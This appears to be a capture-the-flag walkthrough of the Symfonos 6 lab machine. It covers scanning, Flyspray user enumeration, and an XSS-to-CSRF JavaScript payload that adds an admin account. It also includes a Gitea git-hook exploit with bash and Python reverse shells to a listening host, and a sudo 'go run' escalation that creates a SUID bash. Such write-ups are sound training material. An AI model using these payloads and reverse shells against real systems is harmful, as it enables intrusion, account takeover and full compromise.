General Information / Brief
Another target from the Symfonos series. Certainly a target that will have you questioning if exploitation method will work or not, then eventually conclude - there is only one way to find out and that is to try it anyways.
Scope
Last runner up in the series will target Symfonos 6 - the scope of this module is to demonstrate the importance of enumeration and to not sleep on the often overlooked - client side attacks. Also requires multiple pivots (horizontal/vertical) and customization to elevate privilege.
Reconnaissance
Target | Address |
---|---|
Symfonos 6 | 192.168.1.55 |
Quick initial scan on target to note open ports and services.
rustscan -a 192.168.1.55 -- -sC -sV
Initial scan result.
$ rustscan -a 192.168.1.55 -- -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
...
Open 192.168.1.55:22
Open 192.168.1.55:80
Open 192.168.1.55:3000
Open 192.168.1.55:3306
Open 192.168.1.55:5000
[~] Starting Script(s)
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.4 (protocol 2.0)
...
80/tcp open http syn-ack Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
| Supported Methods: OPTIONS GET HEAD POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open ppp? syn-ack
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=f09dda36fc1a2a64; Path=/; HttpOnly
| Set-Cookie: _csrf=Hqs00JDBi7XzNwqs_QPZBUQz7dI6MTY2NjcwNjAwOTY4MzY3MDI5Mg; Path=/; Expires=Wed, 26 Oct 2022 13:53:29 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 25 Oct 2022 13:53:29 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
| console.info('ServiceWorker registration successful with scope: ', registrat
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=982d79d30bb46e57; Path=/; HttpOnly
| Set-Cookie: _csrf=Ttc6vycoIb2Jar8Q104Oa8dp6M06MTY2NjcwNjAxNDczMTAxOTU1Mg; Path=/; Expires=Wed, 26 Oct 2022 13:53:34 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 25 Oct 2022 13:53:34 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_ console.info('ServiceWorker registration successful
3306/tcp open mysql syn-ack MariaDB (unauthorized)
5000/tcp open upnp? syn-ack
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Tue, 25 Oct 2022 13:53:59 GMT
| Content-Length: 18
| page not found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Tue, 25 Oct 2022 13:53:29 GMT
| Content-Length: 18
| page not found
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Tue, 25 Oct 2022 13:53:44 GMT
| Content-Length: 18
|_ page not found
...
Nmap scan each ports for service and default nmap script.
nmap -sC -sV -p22,80,3000,3306,5000 192.168.1.55
- -sC: run default nmap scripts
- -sV: detect service version
We get back the following result showing that 05 ports are open:
- Port 22: OpenSSH 7.4 (protocol 2.0)
- Port 80: Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
- Port 3000: ppp?
- Port 3306: MariaDB (unauthorized)
- Port 5000: upnp?
Initial nmap service and script scan result.
Check - Same result as above.
Before probing ports - re-run and re-check with full nmap scan in background session for full report.
nmap -sC -sV -O -p- 192.168.1.55
- -sC: run default nmap scripts
- -sV: detect service version
- -O: detect OS
We get back the following result showing that 00 ports are open: No new ports to report.
None.
Run an nmap scan with the -sU flag enabled to run a UDP scan.
nmap -sU --top-port 1000 192.168.1.55
We get back the following result showing that 01 ports are open:
- Port 5353: zeroconf
Reports back the following result.
# nmap -sU --top-port 1000 192.168.1.55
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-25 10:02 EDT
Nmap scan report for symfonos6 (192.168.1.55)
Host is up (0.00026s latency).
Not shown: 946 closed udp ports (port-unreach), 53 open|filtered udp ports (no-response)
PORT STATE SERVICE
5353/udp open zeroconf
MAC Address: 00:0C:29:68:CE:36 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1025.96 seconds
Enumeration
Port 5000 - UNKNOWN
Probing the target port via nmap did not report information. Manually connecting to service port to banner grab - pressing enter
twice has reported the following error.
$ nc -nv 192.168.1.55 5000
(UNKNOWN) [192.168.1.55] 5000 (?) open
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request
Port 3306 - MARIADB
Probing the target port with nmap mysql script scan have not yield useful information to report. Manually connecting to check login access via root prompted for password and return the following error after random attempt.
$ mysql -H 192.168.1.55 -u root -p
Enter password:
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)
- Possibly socket disabled or not set in
my.cnf
or restricted to local login only.
Port 3000 - HTTP
Probing the target port - front end view report Gitea application version 1.11.4.
Probe extension /explore/users
yield possible usernames.
# Possible Usernames:
achilles
zayotic
Port 80 - HTTP
Probing the target port - front end view.
Viewing source mentions a rabbit hole warning about not checking image data.
Operator check image data anyways and confirmed no data to report. During web directories and files scan report extension /posts
and /flyspray
.
$ feroxbuster --url http://192.168.1.55 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -d 2
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.1.55
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 21l 30w 251c http://192.168.1.55/
301 GET 7l 20w 234c http://192.168.1.55/posts => http://192.168.1.55/posts/
301 GET 7l 20w 243c http://192.168.1.55/posts/includes => http://192.168.1.55/posts/includes/
301 GET 7l 20w 238c http://192.168.1.55/posts/css => http://192.168.1.55/posts/css/
301 GET 7l 20w 237c http://192.168.1.55/flyspray => http://192.168.1.55/flyspray/
301 GET 7l 20w 245c http://192.168.1.55/flyspray/scripts => http://192.168.1.55/flyspray/scripts/
301 GET 7l 20w 245c http://192.168.1.55/flyspray/plugins => http://192.168.1.55/flyspray/plugins/
301 GET 7l 20w 244c http://192.168.1.55/flyspray/themes => http://192.168.1.55/flyspray/themes/
403 GET 8l 22w 219c http://192.168.1.55/flyspray/includes
301 GET 7l 20w 243c http://192.168.1.55/flyspray/cache => http://192.168.1.55/flyspray/cache/
301 GET 7l 20w 240c http://192.168.1.55/flyspray/js => http://192.168.1.55/flyspray/js/
301 GET 7l 20w 242c http://192.168.1.55/flyspray/docs => http://192.168.1.55/flyspray/docs/
301 GET 7l 20w 242c http://192.168.1.55/flyspray/lang => http://192.168.1.55/flyspray/lang/
403 GET 8l 22w 222c http://192.168.1.55/flyspray/attachments
301 GET 7l 20w 243c http://192.168.1.55/flyspray/fonts => http://192.168.1.55/flyspray/fonts/
301 GET 7l 20w 245c http://192.168.1.55/flyspray/avatars => http://192.168.1.55/flyspray/avatars/
301 GET 7l 20w 244c http://192.168.1.55/flyspray/vendor => http://192.168.1.55/flyspray/vendor/
301 GET 7l 20w 243c http://192.168.1.55/flyspray/Tests => http://192.168.1.55/flyspray/Tests/
Probe extension /posts
reports a description of Greek character achilles.
View source reveals nothing reportable. Probe extension /flyspray
reports running flyspray
application.
"Flyspray is a lightweight, web-based bug tracking system written in PHP for assisting with software development and project managements." Reference: http://www.flyspray.org/
During research phase on login panel - operator could not find application default credentials and known default credential sets failed. Operator noted possible to enumerate users on login panel, with possible usernames reported from Gitea application port 3000. Username achilles
report 'incorrect password' error.
Username zayotic
, admin
or any invalid username report 'user does not exist' error.
# Possible Username:
achilles
Operator was unable to determine Flyspray version. Checking the login link and noted the register link.
Operator created another username with credentials: user1:user1
and login with newly created account for analysis. Browsing through target - checked the bug report ID:1
.
Message posted by admin
, notifying of checking current page for any updates - possibly client side exploitation.
Research phase yield the follow exploitation candidate.
- FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery
- Flyspray 0.9.9.6 - Cross-Site Request Forgery
Operator could not pin point exact version - author of target and application did not insert version details anywhere. Closest operator could find is utilizing FlySpray Github latest version: 1.0-rc10
repo as map and located /docs/UPGRADING.txt
and README.md
on target.
File extension /flyspray/docs/UPGRADING.txt
.
File extension /flyspray/README.md
.
Note /themes/CleanFS/
exist on target. If operator research correctly using the following reference - directory should only exist for version 1.0 and up. Narrowing down possible exploitation advisory.
Initial Access
Exploitation Synopsis:
In this exercise - operator will exploit target client side vulnerability to gain administrator access to FlySpray portal. Administrator access report credential leak, which can be utilized on Gitea application for initial access.
Exploitation Incident Report:
Operator will utilize the following exploitation proof-of-concept. Exploitation requires valid user account access (created by registration during enumeration phase with the following credentials user1:user1
).
- FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery
- Advisory provided Proof-of-Concept via YouTube tutorial
- Exploitation concept: After posting message on message board, editing user profile
Real Name
field - can be change to include JavaScript code that will execute on any client viewing the message board.
Exploitation (FlySpray 1.0 - Proof-of-Concept)
Log into target, browse through and check bug report ID:1
and post message. e.g. of message posted XSS2CSRF - Point
.
Edit profile and change Real Name
with the following JavaScript alert box payload.
"><script>alert('Hello Moon');</script>
Save by clicking Update Details
, then browse back to bug report ID:1
.
Popup alert triggered by JavaScript code in Real Name
field displayed on comment post - confirmed XSS exploitation success.
Exploitation (FlySpray 1.0 - Insert New Admin User)
Exploitation advisory provided proof-of-concept code to add another admin user on FlySpray application with credential hacker:12345678
. Create payload file - script.js
containing code from advisory and host on listening post HTTP.
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
Edit profile and change Real Name
to link the JavaScript payload hosted on listening post HTTP.
"><script src="http://192.168.1.113/script.js"></script>
Save by clicking Update Details
, then activate listening post hosting payload script.js
. After few minutes, listening post HTTP receive callback from target - signaling admin is checking page for update.
Log out and re-login with the following credentials hacker:12345678
and confirmed new user login valid with administrator privilege. Analysis of administrator panel reports a bug reportID:2
entry - containing possible credential to target Gitea server.
# Possible Credential:
Username:achilles
Password:h2sBr9gryBunKdF9
Login via target ssh daemon with possible credential failed.
Note: With credential leaks, always test for credential re-use.
Exploitation (Gitea - Analysis)
Login credentials achilles:h2sBr9gryBunKdF9
confirmed valid. Browsing to user achilles
panel and noted 2 repos.
Repo: symfonos-blog
based on /includes/
content and structures - appears to be extension to http://192.168.1.55/posts
. Repo: symfonos-api
based on file .env
data, appears to be a custom REST API application running on target port 5000.
Exploitation (Gitea - Implanting)
Research phase on target Gitea version 1.11.4 exploitation (with authentication) yield the following proof-of-concept candidate.
- Gitea 1.12.5 - Remote Code Execution (Authenticated)
- Requires authentication.
- Author proof-of-concept blog demonstrate manual exploitation.
- Exploitation concept: User accounts with 'May create git hooks' enabled, could modify or create a temporary repository, set the
post-receive
git hook with a payload containing system command, modify or create a file in the repository and trigger the payload by saving the repo with commit.
In this task - operator will demonstrate exploitation and inserting interactive session payload with both script and manual method and encourage reader to try both.
Exploitation (Script)
Utilizing script is straight forward - activate listening post handler and run script on target, using the provide credentials for achilles
.
python3 49571.py -t http://192.168.1.55:3000 -u achilles -p h2sBr9gryBunKdF9 -I 192.168.1.64 -P 8081
If encounter error output unable to auto-detect email address
- issue can be fixed with the following set of git config
statement in os.system()
method, inserted in script trigger_exploit
function (before the git commit
statement).
os.system('git config --global user.email "you@example.com"')
os.system('git config --global user.name "Your Name"')
Exploitation (Manual)
Operator will insert interactive payload via Git Hooks. Choose any repo to implant - e.g. will utilize symfonos-blog
repo. Click on settings
-> Git Hooks
-> edit icon on pre-receive
.
The following list of payload tested and confirmed success on target (Option-free) - insert payload in Hook Content
.
bash -c 'bash -i >& /dev/tcp/192.168.1.113/8081 0>&1'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.113",8081));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Click on Update Hook
.
To activate callback, operator must summit a modification on symfonos-blog
and update with commit. The following example, operator edit repo file index.php
- adding a html comment. Activate listening handler for callback and click on Commit Changes
.
Response from listening post.
Successful exploitation should yield callback session as user git
privilege.
Privilege Escalation
Exploitation Synopsis:
In this exercise - operator will utilize credential reuse to horizontally elevate to another user and exploit user sudo access to vertically elevate to superuser.
Exploitation Incident Report:
Internal analysis of current session - checked target /etc/passwd
and noted user: achilles
with shell access and assigned home directory at /home/achilles
.
[git@symfonos6 .ssh]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
git:x:997:995:Git Version Control:/home/git:/bin/bash
achilles:x:1000:1000::/home/achilles:/bin/bash
[git@symfonos6 .ssh]$
Exploitation (Elevate User: git -> User: achilles)
During FlySpray application post exploitation, operator credential re-use check with achilles:h2sBr9gryBunKdF9
via SSH has failed - possibly due to key requirement or SSH config been configured with restrictions. Alternative method is credential re-use check by switching user from current session with su
.
Credential confirmed valid and successful exploitation should elevate session to user aeolus
privilege.
Exploitation (Elevate User: achilles -> User: root)
Internal analysis of current session - check sudo listing and noted /usr/local/go/bin/go
set to root
privilege with no password required.
Current session has access to run Golang code on target as any user (including root), allowing operator to generate Golang code file to execute shell command as super user privilege. For coding in Golang - operator can utilize the following reference as a guide.
Exploitation (Proof-of-Concept)
In this task - operator will generate Golang code to execute and output result of command whoami
. Generate file cmd_1.go
with the following proof-of-concept code and upload to target.
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
out, err := exec.Command("whoami").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
Utilizing sudo access to go build package - execute with the following command to run the Golang code as user root. (Option-free.)
sudo /usr/local/go/bin/go run cmd_1.go
sudo -u root /usr/local/go/bin/go run cmd_1.go
Successful proof-of-concept should execute Golang code as sudo user root
privilege.
Exploitation (Inserting Payload)
Following same operating procedure - operator can generate payload that will copy bash file to temporary directory and set privilege to execute as suid. Generate file cmd_2.go
with the following payload code and upload to target.
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
out, err := exec.Command("/bin/bash", "-c", "cp /bin/bash /tmp/pwnshell; chmod +xs /tmp/pwnshell").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
Utilizing sudo access to go build package - execute with the following command to run the Golang code as user root. (Option-free.)
sudo /usr/local/go/bin/go run cmd_2.go
sudo -u root /usr/local/go/bin/go run cmd_2.go
Successful exploitation should copy bash to and as /tmp/pwnshell
and set privilege to execute as suid. Execution as set shell privilege can be achieve with -p
flag.
Successful exploitation should elevate session to user root
privilege.
Proof
Exploitation Post-Incident Report
- Credentials (Password re-use) - We are only human and often let our guard down in familiar circumstances, so it isn't far fetch for users and system administrator alike to reuse passwords across different nodes and services. Always check for password reuse.
Spelling, errors or any other issues to report. Please - be kind and let me know.
Until then...